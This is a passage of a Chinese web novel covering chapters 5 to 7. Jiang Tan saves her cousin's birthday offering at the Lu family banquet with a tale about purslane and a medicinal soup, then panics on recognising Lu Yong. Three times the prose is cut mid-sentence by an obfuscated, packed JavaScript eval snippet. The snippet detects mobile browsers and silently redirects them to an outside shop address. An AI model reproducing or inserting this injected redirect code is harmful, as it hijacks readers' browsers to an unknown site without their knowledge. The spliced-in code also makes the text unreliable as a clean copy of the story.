姜昙捂住脸。 十七岁时害怕的那个人,早就被斩首了,死在她眼皮子底下。 她到现在还记得那场景。 德庆七年,十二月,那日是难得的好天气。 闹市观刑的人群中,耳边是恐惧躲避的惊叫声,姜昙不闪不避。 殷红的鲜血飞溅,如小河一般冒出,从刑台上流下来,浸入砖缝里。 一直流到脚下,即将爬上鞋面。 离开时,姜昙的鞋底一片粘腻。 他死得彻彻底底,而这世上,是没有鬼的。 . 姜昙的视线柔软下来。 待呼吸平顺了些,她才缓缓起身道:“无事,我只是有些热。” 姜昙闭了闭眼,不再回想梦中事。 外间放着水盆,紫珠绞着帕子,絮絮叨叨。 “这么热的天,茵小姐也太抠门了些,连冰块都不愿意匀一些过来。虽说咱们是有求于人,可姑娘亦送了她一套珍珠头面,那可是夫人留给姑娘的嫁妆,谁也没给摸过呢!” 紫珠将帕子递到帐子里。 姜昙去擦额头的汗,一手冷意。 炎炎五月,正是日头毒的时候。紫珠手中蒲扇一刻未停,连衣服都汗湿了。 而她竟冒冷汗。 摸了摸掌心,也是冷的。 沉默片刻,姜昙说:“将我的药方拿来。” “姑娘是要抓药吗?前两日新抓的,还有不少呢。” “不是抓药,是改药方,明个儿去抓新的吧。” 昨晚睡前喝下去的药不起作用,噩梦越演越烈。 改完药方,姜昙看了眼更漏,卯时。 “梳洗吧。” 窗外天色,仍晦暗不明。 昨夜姜昙很晚才睡,紫珠有些心疼:“时候还早,老祖宗的寿宴巳时才开始,姑娘不若再睡一会儿?” 姜昙摇头:“昨日茵表妹叫我早些,今日要为她梳头。” 茵表妹,全名沈芳茵。 她是陆府大姑奶奶陆秋水的女儿。恰逢陆老夫人六十大寿,陆秋水就带女儿回府,为母亲贺寿。 紫珠听东角门的婆子们说,陆秋水到适婚年纪时,陆府还没发达,因此配了个声名显赫、却逐渐没落的杏林世家。 姑爷是个只知道花钱的纨绔子,好赌好色,纳了一堂子妾。 陆府发达后算是收敛点,可眼看着,后半生的家产都被他败光了,女儿的嫁妆还没着落。 陆秋水这次带着女儿回来,是打着亲上加亲的主意。 她指望女儿在陆老夫人的寿宴上挣个好脸面,老夫人一高兴,将沈芳茵指给无论大小哪个侄儿,不靠嫁妆,母女两个后半辈子,都可大富大贵了! 不过茵小姐,可是个一言不合就摔东西的脾气。 紫珠缩了缩脑袋,手上加快速度。 . 天蒙蒙亮。 姜昙来到绿柳院,里面房门紧闭,婢女青儿告诉她,茵小姐尚在熟睡,谁都不能打扰。 姜昙只好等着。 廊下放了一盆粉红芍药,花瓣挂着露水,等到第一缕阳光打在芍药的花芯中时,房内终于有了人语声。 青儿出来请她进去,却拦住了紫珠:“我家姑娘说,只许姜姑娘入内。” 紫珠无措地抱着妆匣。 不让她进去,那谁来给茵小姐梳妆? 青儿傲慢指了指姜昙。 听明白她的意思,紫珠气恼地要说什么。 姜昙抱过妆匣,安抚地看她一眼:“在这等我出来。” 姜昙掀开温凉的竹帘入内,不觉憋闷,反而有种清风袭来之感。 细闻之下,屋子里还有一股花香。 沈芳茵坐在妆台前,得意地问:“我让人在房里摆了冰鉴,在融化的水里放了一百朵玫瑰花瓣,才营造出满室清凉馨香,如何,本小姐聪慧吧?” 姜昙上前接过婢女手中的梳子,为沈芳茵梳头,应道:“表妹巧思,妙仪比之不及。” 姜昙梳头的动作飞快,为沈芳茵绾出一个双环望仙髻,额前配了流苏,双鬓簪上玉环,插一对鎏金步摇。 可谓光彩夺目。 沈芳茵打量了一会儿,忽然摇脑袋:“不好看。” 姜昙手指一顿:“这发式挑了十几日才定下的……表妹昨日不是还很喜欢吗?” “可我现在突然又不喜欢了,扬州姑娘们,来回都是这么装扮,我不要与她们一样!” 看到镜中姜昙的模样,沈芳茵眼前一亮:“我喜欢你的装扮,给我梳你的发髻,你换一个,不许再用!” 姜昙立刻拆发髻,道:“好。” 头发梳完仍显素净,沈芳茵的手指在妆匣里犹豫,不知挑哪一朵绢花好。 姜昙看了一眼旁边的青儿,不动声色地提议:“绢花不如真花明艳,表妹不如簪一朵鲜花。” 沈芳茵想起什么,让青儿去摘廊下朵花,高兴地递给姜昙:“快将这朵牡丹给我簪上!” 姜昙垂眸不语,依她所言。 梳妆完毕,阳光已照射到了屋子里,地上一片金色。 姜昙飞速为自己绾了个发髻,用丝带匆匆一绑了事,向沈芳茵请退。 后者正摸着鬓发欣赏,闻言瞥了一眼姜昙,道:“菜色需得最最好,赢过周蝉衣,也不能让旁人知道你代我,为老祖宗准备寿礼一事。否则,武举名师的荐帖我不会给你的。” 周蝉衣是陆家二夫人刘氏的侄女。 姜昙说:“表妹放心,绝不会有旁人知晓。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572391|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 出了绿柳院,紫珠惊讶道:“姑娘的头发……” 姜昙摇头示意她别问,只道:“现在几时了?” 紫珠着急道:“早就辰时了,现下都快辰时末了。奴婢方才想去提醒姑娘,守门的婢女不让奴婢进去。这可怎么办?” 沈芳茵太不可靠。 姜昙深吸一口气,拉上紫珠,不顾礼仪疾步而走:“还有不到半个时辰,我们跑着去!” . 陆老夫人明面上办的是寿宴,实则是为陆府两位公子选妻。 陆家族亲邀各家小姐共献寿礼,意在讨陆老夫人欢心,争陆家两个少夫人的位置。 姜昙这次过来,虽不是为这个,但也是差不多的心思—— 沈芳茵手里的武举师父荐帖。 沈芳茵要做陆家孙媳,就要哄陆老夫人欢心,而姜昙要哄沈芳茵高兴。 寿宴之上,沈芳茵打算亲手献一道南海的名菜奉给祖母—— 花开富贵。 这菜不难,只是要雕花,费些工夫。 可沈芳茵嚷嚷着手疼,姜昙此时找上门,她便让姜昙去学。 换而言之,做好这道菜,让老夫人高兴,就是让沈芳茵高兴。 老夫人的寿宴巳时开始,现在已是辰时末,雕花费事,已然有些来不及了。 姜昙来到厨房时,整颗心脏都要跳出来了。 她许久没这么跑过,扶在门框上,微微喘着气。 平复一下呼吸,正要进去,迎面却出来了一位不速之客。 周蝉衣。 沈芳茵视之为大敌的富商小姐,也是争取陆府公子最激烈的对手。 若不能赢了她,沈芳茵不会高兴。 换言之,这人就是她的对手。 周蝉衣带着婢女,提着食盒,似笑非笑:“妙仪,来替沈小姐准备寿礼?巧得很,我准备的也是一道菜肴。” 姜昙脸色一变。 消息竟传得这么快,看来沈芳茵身边有周蝉衣的眼线。 周蝉衣看清她的表情,笑出了声,掀开食盒给她看:“瞧你吓的,我又不做与你们一样的菜色。” 里面放的是一盅山药汤。 周蝉衣道:“我身边可没有妙仪这般听话的捉刀人,也雕不来花开富贵那般繁复的菜式。只做一道寻常的养生汤,免得旁人说我庸俗。” 姜昙淡淡说:“我只知道,只要能让老祖宗开心,便不会有人在意用的是什么手段。周小姐以为呢?” 周蝉衣轻轻一笑。 “你若是想争这个少夫人的位置,何不和我一起?我姨母养育了二公子,母子感情深厚。而我意在大公子,你与我一起,近水楼台先得月,二公子或对你青眼有加……” 姜昙微微一笑:“周小姐,没人告诉你吗?我已经定亲了,再过半年就要成婚。” “谁家公子?” “姓施,无名小卒。” 周蝉衣沉默着,表情不善。 临去前,周蝉衣身边的婢女狠狠瞪了姜昙一眼:“姜姑娘这么爱笑,等会儿做菜也要笑得出来才好!” 姜昙顿觉不好。 进了厨房,昨日说好的婆子帮手不见人影。 紫珠在厨房里搜罗了一番,欲哭无泪:“姑娘,咱们做菜用的萝卜都没了,其余能吃的菜也不剩什么了!这可怎么办啊?” 周蝉衣方才走时,竟将能做菜的食材都带走了。 5. 第 5 章 紫珠恨恨地说:“定然是红豆那小蹄子,前天就见她鬼鬼祟祟地摸出小门,往周姑娘院里去!都怪奴婢,若那时候就抓了她,也不必让姑娘为难。” 大厨房忙着寿宴,不会让她用,何况是替沈芳茵做菜,不能让别人知道。 只有小厨房,是一早就说好了的,特意塞了银子。 不想让周蝉衣钻了空子。 “多说无益。”姜昙在厨房里寻找,“看看有什么能用的没有?” 紫珠跟着寻找起来。 厨房里除了盐、醋等佐料,只剩下大蒜、生姜,一根菜叶子都不见。 紫珠急得直转圈,姜昙反而坐下来。 “让我想一想。” 思考片刻,姜昙迅速做出决定:“看门的王婆子院里,晒着一些野菜,你去取来。” 紫珠也想到了,满脸不赞同:“姑娘,那猪肥草是王婆子采来喂猪的,怎么能做菜给人吃呐!” “你只管去,再问王婆子借一个小炭炉来。” 姜昙想了想,又道:“还有我屋子里的药箱,我记得从苏州走的时候,带有一些药材,也去取来。” 此刻距离老祖宗寿宴开始,只剩不到一盏茶的时间。 姜昙深吸一口气,但愿她没猜错。 但愿来得及。 . 戏台之上,刚演完一出《麻姑献寿》。 青儿飞快打着扇子,累得手指都酸了。 沈芳茵不耐烦挥开,焦躁地盯着门外:“怎么还不来?” 姜妙仪是不想要武举师父名帖了吧? 怒火中烧的时候,周蝉衣自室内出来,走到沈芳茵身边火上浇油。 她看了一眼门外,依旧不见姜昙和她那小丫鬟的影子,道: “沈妹妹,你的寿礼呢?方才我进去献礼,老祖宗还问起你呢?想来是对沈妹妹寄予厚望,妹妹可不要让她和大姑奶奶失望才是。” 沈芳茵讥讽一笑: “我怎么听祖母身边的菡萏说,祖母宁可连喝三大杯清水,也不愿意喝你那劳什子山药养生汤。莫不是盐放多了,齁死人了吧!不如趁早回你的韶州去,练几年再来,说不定还能赶上两位表哥的婚礼!” “你——” 周蝉衣忍了忍,看到沈芳茵鬓边的鲜花,忽而泛出个笑来: “妹妹今日的妆容别致清丽,只是簪花次了些,须知牡丹是花中王者,芍药虽艳丽,终究是个不上台面的赝品。” 她扶了扶头上的牡丹,笑说:“奉劝妹妹,下次别戴芍药出来了。若被谁家的小姐看见了,要说妹妹没有眼光呢。” 沈芳茵脸色一变。 她将头上芍药摘下来,仔细看了半晌,也没认出这是芍药。 她根本分不清芍药和牡丹。 沈芳茵蓦地将芍药丢在地上,碾碎了。 接着反手给了青儿一巴掌:“贱蹄子,早起叫你摘牡丹,竟敢摘朵芍药糊弄我!” 青儿委屈地捂着脸,早上那朵花明明是小姐让摘的。 “大喜的日子,妹妹为难小丫鬟做什么?” 沈芳茵手下更用力,狠狠掐着青儿的胳膊。 青儿不敢躲,连哭也不敢大声。 周蝉衣拿帕子掩面,似是不忍心见下人受苦,藏在帕子下的嘴角却缓缓勾了起来。 “茵表妹。”姜昙终于姗姗来迟。 ”你怎么才来!“沈芳茵劈手夺过食盒,看到紧扣住的盘子,不由蹙眉:“搞什么如此神秘,还放了炭炉,你不是做的——” 说到一半,她忽然想起还有外人在,立刻住嘴。 周蝉衣盈盈一笑:“这么热的天还放炭炉,沈妹妹的菜不会是没来得及做好,现在还要加热吧?” 一猜就中。 姜昙当然不承认:“只是为了保证口感而已。” “就是,你不懂做菜就别乱说。”沈芳茵将还未掀开的盘子扣住,提了食盒自己进去。 临走前斜了周蝉衣一眼:“我赢定了,你等着瞧吧!” 周蝉衣冷冷一笑。 这么短的时间,姜昙根本不可能做好一道菜。 更何况,她早就将厨房的所有蔬菜和肉食都带走了,提前和厨娘们打好招呼,谁也不许帮忙。 果然,片刻之后。 屋内传来沈芳茵咬牙切齿的声音:“姜妙仪,你进来!” 周蝉衣看向姜昙。 她的面色看不清楚,但那个叫做紫珠的丫鬟慌得手抖。 看来是打肿脸充胖子。 周蝉衣招手唤来丫鬟:“去跟园子里赏花的姑娘、少爷们传个话,就说表小姐的寿礼别出心裁,是宴席上最好的,请他们都来看。” 小丫鬟钻出去,很快带回来一群客人。 周蝉衣捏着帕子嫣然一笑,进入宴席。 好戏要登场了。 . 宴席上坐着的都是陆家亲眷。 姜昙低头一路走过正中央,眼角余光扫过梨木雕花的食案,金丝银线织成的袖子。 陆府奢华如斯,宴请的宾客也都非富即贵。 姜昙规规矩矩行礼。 一个慈厚的老人声:“起来吧。” 上首中央坐着一个身着团福红绸衣的老人,一双眼睛和善慈爱。 左边紧挨坐着一个明艳妇人,正是沈芳茵的母亲,老祖宗的大女儿陆秋水。右边一前一后站着两个年轻夫人,应是陆府两位公子的母亲。 姜昙微微抬头,看了一眼,很快低下去。 “妙仪,你嘴巴生得巧,你来替我解释一番,这食盒里的典故。”沈芳茵的笑容里,怎么看都有些阴森的意思。 老祖宗身前的桌案上,放着的是一道绿幽幽、看起来还有些发黑的凉拌青菜。 上面放了一片荷花瓣做点缀,有红有绿,可见做菜人的巧思。 可再巧,也掩盖不了这是一道野菜的事实。 敢在大喜的寿宴上,奉上一道上不得台面的野菜作为寿礼,怎么看都有些讽刺的意味。 若有那么些心思深的,恐怕以为这道菜,是在暗示老祖宗活不长了呢! 园子里的少爷小姐们一涌而入,看到这荒谬的寿礼,纷纷偷笑窃语。 姜昙并不惊慌:“老祖宗容禀,这野菜名为马齿苋,是民间寻常人家常用的一道凉拌菜,口感清脆,清热解毒,最适合夏日食用。” 陆秋水给陆母扇扇子,打圆场道:“娘,您看茵姐儿也太孝顺了些,这孩子早一个月就为这盘菜抓耳搔腮,吃不下也睡不好,整天想着做什么好呢?想来想去,做了这么一道菜送上来,虽卖相差点,可礼轻情意重呐。” 陆母点点头,婢女伸长筷子布菜。 一道声音突兀响起:“什么?你说的可是真的?” 这动静果然勾去了陆母的注意:“香君,你有什么事吗?” 出声的正是陆府二公子的母亲刘香君:“娘,方才我身边的冯婆子说,这菜吃不得!” 刚准备吃一口的陆母停住:“哦?这是什么说法?” 冯婆子在屋中央跪下,磕了个头:“老夫人,这野菜在我们那儿有个诨名称猪肥草,乡下人采来喂猪吃的!” “什么?喂猪吃的?” 角落里几个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572392|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘻嘻哈哈的少爷笑成一团,“喂猪吃的,哈哈哈,那岂不是说老祖宗是——” 旁人捂住了他的嘴巴。 但在场众人都听到了,不难猜到下文是什么。 陆母重重放下筷子。 刘香君震惊地掩唇,随即大怒:“哪来的蠢丫鬟,竟敢把这等劣食端上来给老夫人,来人呐,给我打出去!” 明面上处置端菜的丫鬟,实则是讽刺献菜的沈芳茵。 沈芳茵面色发青,周蝉衣掩着红唇轻笑。 周蝉衣是刘香君的侄女。 听说周蝉衣的山药汤,亦是经过天香楼的大师傅指点,且是讨了有名的食谱方子,最后做出来的。 可惜,却不怎么得老祖宗喜欢。 这般费力不讨好,当然要想着法子挑毛病,不可能让她顺利献菜。 陆秋水母女面带怒气,却隐忍不发,显然是要放弃她了。 “慢着,我有话要说。” 众人的目光被吸引过来。 姜昙不卑不亢:“老祖宗有所不知,虽然这马齿苋诨名不好听,但它却是千金不换的长生菜!” 周蝉衣给冯婆子使了个眼色。 冯婆子立刻会意,一手来抓姜昙的胳膊:“什么药啊草的,我老婆子从没听说过,你莫要糊弄人!” “慢着。” 陆母抬手,冯婆子瞥一眼刘香君的脸色,只好收手退后。 老夫人发话,谁敢不听。 陆母好奇地问:“你说这野菜是长生菜,是什么典故?” 姜昙整好被扯乱的衣袖,道:“民间传说中讲,有一位全身生满毒疮的妇人,疼痛难忍,遍寻名医都无用。后来遇到一位游医,让她去挖后墙下的野菜。奇了怪了,这野菜虽然卖相不好,味道却极佳,妇人吃下去后百病尽消,后来一直活到了一百二十岁。” 陆母颇有兴致,打量桌上那一盘绿油油的菜:“哦?竟有这样的事?” “旁人求教游医,为何几棵小小的野菜,竟有如此奇效?游医说,此草名曰马齿苋,是天上五行大仙牵着神马途径人间,不忍饿殍遍野,百姓受苦,故而拔了神马的牙齿化成的。” “茵表妹说,马齿苋是大仙赐予百姓的福泽,想要老夫人沾一沾仙气,长命百岁,所以才命民女去找了这道菜。只是——” 姜昙抬头,看了一眼沈芳茵。 后者被看得一愣,陆秋水暗中掐了一把蠢女儿。 沈芳茵立刻哽咽着说:“只是这东西毕竟卑贱,孙女儿怕污没了外祖母的耳,所以方才便解释,谁想到,竟被人喊打喊杀的。” 刘香君笑容讪讪,周蝉衣脸色发黑。 陆母自是感动,没想到沈芳茵竟有这么一番苦心。 遂把沈芳茵拉到身边哄道:“茵姐儿不哭了,外祖母这就尝尝你做的菜。” 话已至此,这一关就算过了。 “等等。”周蝉衣不甘心地出声:“老祖宗,这菜还是不能吃!” 姜昙抬眼,周蝉衣看着她,笑得温婉明媚。 周蝉衣说:“这东西既然能治病,便是药物。是药三分毒,老夫人原本身体康泰,平白无故地喝药,岂不晦气?” 任凭谁听,都觉得有道理。 是啊,没病没灾的,寿宴送药来,这不是咒着让人生病吗! 陆母的眉毛皱起来。 原本要说尝菜的事,现下也不提了。 周蝉衣到底不蠢,话说到了点子上。 可她却不知道一件事。 姜昙惊讶地说:“周小姐不知道吗?老夫人近来身体不适,此菜正是对病下药。” 6. 第 6 章 此话一出,众人哑然。 周蝉衣蹙眉斥道:“你在说什么疯话?老夫人身体康健,百病不侵!” 姜昙似乎才反应过来,说了不该说的话。 连忙低头告罪,脸上露出懊恼的神情,“大姑奶奶不让说的,怪我多嘴!” 陆母的好奇心被勾起来了。 最近自己确实身体不适,但除了身边服侍的菡萏和几个大夫,没有旁人知道。 这小姑娘又是怎么知道的?秋水也知道? 陆母看向陆秋水:“你们说了什么?” 迎着母亲询问的目光,陆秋水的笑有些挂不住,暗骂姜昙。 这丫头自说什么话!她可从来没有不让她说什么! 可低头对上姜昙的目光,陆秋水的心突然定了下来。 只因方才侃侃而谈讲典故时,这丫头突然看过来,也是这样的眼神。 已经信了她一回,无妨再多一次! 陆秋水略带埋怨看她一眼:“你这丫头,既然老夫人问起来,你就说罢。” “是。”姜昙的眼神扫过陆母桌前的茶盏,落在陆母的衣服上。 “大姑奶奶说,老夫人胃口看起来像是好了,却时常肚饿。分明喝了几大杯水,却依旧口渴。且身形消瘦,虚不受补,更衣次数亦有些频繁,应是患了消渴症。” 分毫不差。 陆母惊讶说:“你懂医理?” “一知半解,只认得几味常见的药材。” 姜昙低头说:“消渴症之事,都是大姑奶奶告诉我的,她日日跟着伺候老夫人起居,观察仔细。民女鹦鹉学舌,不敢卖弄。” 陆母赞赏地看了陆秋水一眼。 女儿自嫁出去后就少了和陆家的联系,自陆家发达后才时常来往。 陆母本有些心寒,没想到女儿的关心都藏在心里,只是诉说甚少罢了。 陆秋水的眼泪适时下来:“娘一定会长命百岁。” 母女俩抱着哭了片刻,身后的大夫人和二夫人低头,跟着抹泪。 帕子之下,二夫人恨恨心道,端茶递水都是她! 这亲生的女儿倒是日日跟着,却只陪着说话吃点心,伸手要金银首饰,哪里操劳过一时半刻! 倒是个会装的! 静待她们平静下来,姜昙将食盒掀开,端出一盅热汤。 下面还用炭炉煨着,汤碗放在桌上,冒出腾腾热气。 “这是茵表妹准备的万寿汤,和长生菜相佐,意为长生万寿。” 按理,天热适食冷物。 可闻到这扑面的热气,陆母不仅不觉讨厌,反而口齿生津。 陆秋水看陆母兴致勃勃,道:“茵姐儿嘴笨,和我一样,是个只会做不会说的性子。你这丫头嘴巧,你来给老祖宗说说,这汤是个什么典故?“ 姜昙应是:“此汤来自一位名医的千金方,由山药、黄芪、知母、鸡内金、葛根、五味子以及天花粉,共七味药熬制而成。可补气阴两虚,专治消渴保生。” 门外偷听的紫珠,心脏都要跳出来了。 只有她和姑娘知道,这汤里的药材,是拿进去前一刻才匆匆放的。 煮了这么些时候,最多熬出点药味,却没煮熟,是万万不能喝的呀! 陆母却被姜昙说得心动。 她口中干渴,拿住汤勺,迫不及待要亲自尝一尝。 姜昙却拦住她:“但……此汤不能饮。” “为什么?”被败坏兴致,陆母有些生气。 “因为此汤缺一味山药,才能做成。” 这好办。 有人指着桌上的羹汤说:“方才周小姐献上的正是养生汤,用她的岂不正好?周小姐,反正都是献给祖母的,你不会不愿意罢?” 周蝉衣手帕都要揪裂了,脸上勉强笑笑:“只要老祖宗肯喝一口,我怎么会不愿意。” 立时就有人殷勤地把那养生汤端到陆母面前。 姜昙掀开盖子,搅动了下,闻到清新的香味。 果真是名厨的方子,放的食材不多,却很精细。味道温和,不冲撞其余的味道,也不会与其他食物相克。 称得上静心斟酌。 可惜了。 “怪我没说清楚,消渴症忌芡粉,山药若是榨成汁水,撇开药渣,就是治病的良药。可若是熬碎成芡粉汤——” 姜昙丢开羹勺,嗒地一声:“那就成了毒药。” 周蝉衣咬牙。 陆母不得不放下羹勺,脸上流露出可惜之色:“怎么就忘了放山药呢?” 姜昙看了周蝉衣一眼:“说来奇怪,民女分明按茵表妹吩咐,逐一买好要用之物。可今日进小厨房,茵表妹却发现,那些东西都不见了。其余之物倒另外有准备,只有山药遍寻不到。” 沈芳茵从善如流告状: “外祖母!定有人故意使坏,偷了孙女的东西,您可要为孙女做主!” 陆母一拍桌子:“查!香君,后院是你管的,怎么会出这种事,给我仔细查!” 刘香君脸色难看地说:“是。” . 寿宴继续。 陆母和陆秋水母女,三人拥坐在一处。大夫人不时插几句话,几人说说笑笑。 二夫人刘香君,却是一句话都插不进去了。 周蝉衣站在她身边,似是被训斥得狠了,眼眶发红,看了过来。 姜昙拢了拢衣服,移开视线。 旁人都着薄衫,她却套了两件春衫。 即使这样,手心也发寒。姜昙受不住这屋里的冰块,她得出去走走。 正要出门叫紫珠,忽有下人急匆匆地进来,惊叫了声:“老夫人——” 下文像被掐了脖子的鸡叫,戛然而止。 不用他禀报,来人已进来了。 “祖母。” 听到这声音的那一刻,姜昙浑身的血液都凝固了。 脑中又回想起那张血腥的笑面: “姜昙,你等着!” “我们是朋友,应该一起死。” “生生世世,我都不会放过你!” “……” “姑娘,姑娘?” 紫珠偷摸进来,找到姜昙,发现她的魂魄被抽走了一般。 过去三年里,紫珠曾见过许多次姜昙的这副模样,不出声,也不动。听到有人叫她,眼珠子才会滞涩地转一转。 看起来可怜又可怕。 不过那都是在夜里惊梦后,白天如此这般,还是头一遭。 紫珠拢住姜昙冰凉打颤的双手,担忧地问:“姑娘,你怎么了?” 许久,姜昙才清醒过来,周遭的动静涌入耳中。 陆府请来的贵客交头接耳: “这可是陆国公家那个庶长子吗?不是和陆国公一道在望京住着,怎么来扬州府了?” “慎言,他那青楼出身的娘早死了,现在记在正室名下呢!” “那又如何?正室不是也早就死了?” “可别说再说了,这庶子如今了不得,在京城风头正盛,招惹不起!” 私语声渐止,先前那道人声又起: “祖母,孙儿阿庸向您请安。祝愿祖母寿辰安康, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572393|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辞暮尔尔,烟火年年。” 他也叫庸! 不对! 仔细一听,这道声音沉静悠然,听着是一个温和有礼之人,不像是他。 姜昙汗涔涔抬眼,朝人声看去,此人背对着她,看不清面容。 ……或许只是声音像罢了。 紫珠无声说:“姑娘,要不先回去歇息吧?” 姜昙点头。 站在这里的每一刻,都觉得窒息难忍,她恨不得飞速逃出这里。 但走了两步后,姜昙顿住。 紫珠疑问的眼神看过来。 姜昙转过身,她不能走。她看向那个人影:“我要去亲眼,看个清楚。” . 在场的是陆氏亲眷友人,显然都认得此人,人群看戏似地坐了一圈。 戏台中间,陆庸恭顺说:“祖母,这是西域得来的琉璃酒盏,极为精妙。想着祖母喜欢,孙儿便买下,送给祖母做寿礼。” 说着,他背后的侍从递上贺礼。 礼盒打开,装的是一对精致无双的琉璃杯。 侍从将琉璃杯拿在手上,殷勤地说:“老夫人,这酒杯置于日头下,能投射出五彩的光哩!” 日光穿透杯身落在地面,如绚丽彩虹,极为稀罕好看。 侍从又说:“西域的琉璃杯还有个妙用,那就是盛酒,最妙的是盛葡萄酒。” 另一人拿出酒壶,往琉璃杯里倒了一杯酒。 那酒液颜色奇异,竟是褐紫色的。微微摇晃时,方漾出一抹红色。 围观众人啧啧称叹。 刘香君先前落了面子,现下绞尽脑汁想讨回来,眼前就是一个好机会。 她对陆母说:“天呐,老夫人快瞧,这世上竟有如此稀罕物,莫不是神仙用的酒杯吧?真想尝尝这神仙喝的酒是什么味儿的。” 陆母并不说话。 侍从懂事地把酒杯奉上来。 刘香君接过,送到陆母手边,笑意盈盈:“不过这第一杯酒,当然是要咱们的老寿星喝……” 话未说完,一直不说话的陆母突然发作,抓起琉璃杯,重重扔了出去。 刘香君瞪大眼睛,哑然愣住。 琉璃杯击中陆庸的额头,殷红色的液体顷刻砸了下来,浇了他半张脸。 分不清是血还是酒液,陆庸抬眼看过来,平静的面容,却有些骇人。 “滚出去,我从没有你这样的孙子,滚出去!” 满堂死寂。 酒杯咕噜噜滚到角落里。 平静的面容流露几分无措来,乍一看,这就是一个得不到祖母认可,委屈失落的孙儿。 陆庸的声音低落:“……祖母不喜欢,孙儿便先行告退。” 临走前,陆庸亲自来寻那掉在地上的琉璃杯,姿态颇为可怜。 姜昙看着他弯腰下去,直起身来,露出半张侧脸。 姜昙屏住呼吸。 是他! 看清相貌的那一刻,姜昙的心跳瞬间停止。 铺了半脸血色,更像他了! 姜昙不由后退。 背后似乎有人站不稳,忽然推了她一把,姜昙险些摔出去,万幸被紫珠拉住。 原本捡起琉璃杯,准备离开的人,此刻被这动静吸引看过来。 探寻的目光投向这里,他似乎发现了什么。 红色似血,他的面容有些无辜,甚至有些可怜。但眼神看过来时,却有种不动声色的疯狂之感。 他的眉头紧紧皱了起来。 就像三年前那样。 他发现她了? 7. 第 7 章 就在陆庸看过来的前一刻。 “表、表兄……” 沈芳茵笑靥如花,突然出现在陆庸眼前,抢先捡起了琉璃杯。 陆庸的眉头松开,眼中如冰雪融化:“是你,茵表妹。今日妆容婉约大方,我险些没认出来。” 沈芳茵面带薄红,扶了扶发髻。 才见过一次面,表兄竟还记得她,莫非他也… 寻常面对下人的疾言厉色,到此刻变成了蚊子哼哼:“表兄怎么突然来了扬州?你该提前写信告诉我一声,我们好去接你。” 陆庸笑了笑: “祖母六十岁诞辰,我为人孙儿,来扬州不是理所当然之事吗?表妹为何会觉得突然?” 沈芳茵微愣。 庸表兄虽然记在死去的国公夫人名下,但却是青楼妓子的儿子。 当初外祖母闹了一场,宁死不同意从佛寺回来的庸表兄入族谱,这是扬州人尽皆知的事情。 人人都知道,外祖母厌恶大表兄,寿宴自然不可能请他来,也没人料到他会来。 甚至所有人都以为,他根本不应该回来,也不会回来。 沈芳茵也是这么以为的,可这缘由是万万不能说出口的。 “不,我的意思是,是……” 陆庸静看着她。 沈芳茵看到他方才眼中一闪而过的寒意,可眼睛一眨,仿佛是看错了。 他又变成了温和的样子,似乎只是随口一问,并没有生气的意思。 是自己多想了。 沈芳茵讷讷无言,脸又红了。这次是被憋红的。 陆庸拿过琉璃盏,旁边侍从利落接手。 “茵表妹,我还有事,先行一步。” 临走前,陆庸看了一眼她的身后,什么人都没有。 方才错觉,竟以为有人在看他。 沈芳茵还要说着什么,一个贵公子拦住她:“茵表姐,该我了。” 贵公子追出去,叫道:“庸表兄,我有一事求你。” 陆青檐停下来,认出他是陆府三公子陆昂。 他陆府其余亲人不亲近,倒是与这位堂兄弟如亲兄弟一般。陆昂也不客气,时常找他帮忙。 陆昂说:“庸表兄,我有一投缘的朋友,听说表兄与考官有些交情,想托表兄帮个忙。不是投机取巧,也并非违反律法的事!” 陆青檐说:“知道了。” “那我后日来寻你!”陆昂在后面远远地喊。 . 姜昙从后门出去,快速地走着。 后面有人追她:“姜姑娘!走那么快做什么,等等我!” 姜昙有心甩开她,可走得太急,喝了一肚子风,不得不停在拱门处咳了起来。 待咳嗽声止,周蝉衣气喘吁吁地追上来,讽刺说:“姜姑娘走这么快,哪像个女儿家。” 紫珠气得要死,姜昙拦住她,平静回敬:“周小姐推人的力道那么大,也不像个掌家的大夫人。” 谁都知道,周蝉衣最想嫁的,就是陆府的大公子。最想做的,就是陆氏未来掌家的大夫人。 方才在寿宴上,姜昙站在人群中,背后不是有人站不稳,而是有人故意推她。 她恰好鼻子灵敏,识得周蝉衣身上的香味。 周蝉衣脸色沉下来,她身边的婢女破口大骂:“说什么呢,你个上门打秋风的破落户,真——” “住口!” 周蝉衣脸色难看。 要说打秋风,谁不是上门打秋风的。 说来周家和陆家,和姜家与陆家的关系一样,是八竿子打不着的穷亲戚。 骂人竟骂到自己头上了。 婢女讪讪住嘴。 